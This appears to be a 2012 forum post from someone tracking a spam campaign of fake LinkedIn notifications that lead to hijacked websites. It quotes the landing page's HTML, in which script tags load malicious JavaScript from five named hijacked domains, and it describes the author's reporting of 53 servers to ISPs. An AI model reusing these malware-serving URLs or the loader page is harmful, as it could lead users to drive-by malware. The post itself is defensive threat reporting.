In the past three weeks I've seen a sudden rush of all manner of fake notification pushing urls of hijacked servers which attempt to perform several types of malware exploitations.
The messages are always the same kind of format:
- Fake notification from a company. Lately it's been mostly Linkedin notices (some fake person needing a recommendation, etc.)
- Several links each claiming to be for a different thing (Read more, contact us, unsubscribe)
- Each link is a distinct hijacked server.
The hijacked servers always have a randomly named subdirectory and an index file, e.g.:
Code:
http://acte-firma-offshore.ro/Nfy7BLd8/index.html
When you go to one of the hijacked server links, you see a message that says "WAIT PLEASELoading...".
If you view source on these individual pages, you see a string of *other* hijacked servers are supplying the malicious JavaScript code:
Code:
<html>
<h1>WAIT PLEASE</h1>
<h3>Loading...</h3>
<script type="text/javascript" src="http://mrsmakeit.com/9jrgDjED/js.js"></script>
<script type="text/javascript" src="http://myparacord.com/cxW8X8xp/js.js"></script>
<script type="text/javascript" src="http://thebestguide1.com/arKwG4pE/js.js"></script>
<script type="text/javascript" src="http://www.extrhema.com.br/cVspcegd/js.js"></script>
<script type="text/javascript" src="http://www.industriacaxiense.com.br/HLAeMSAd/js.js"></script>
</html>
Again: randomly named directory and a js file.
So there's an automated process out there that's doing this to (so far) dozens of unsecured, abandoned, long forgotten websites.
So far this week I have reported 53 servers, covering the whole gamut of the hijacked servers. Many of these are completely abandoned or hosted by really obscure, what I refer to as "unmanned" ISP's. No contact address works for some of them, or the ones that do go unanswered. I'd say I'm at about a 40% success rate for getting this suspended or secured.
I've created a really basic tool called the Phishing ReporterAtor™ which certainly makes life easier, but there's got to be some better way of notifying these ISP's and hosting companies that criminals have pwned a large number of their servers.
Having said all of this: none of these messages make it past any spam filter at all, via numerous email providers. (Gmail, Yahoo, etc.) So I have to question the overall success of this malware campaign.
Mostly fyi for now but this is becoming an epidemic.
SiL
Posted: Thu Mar 22, 2012 6:18 pm 
< = silthumb!
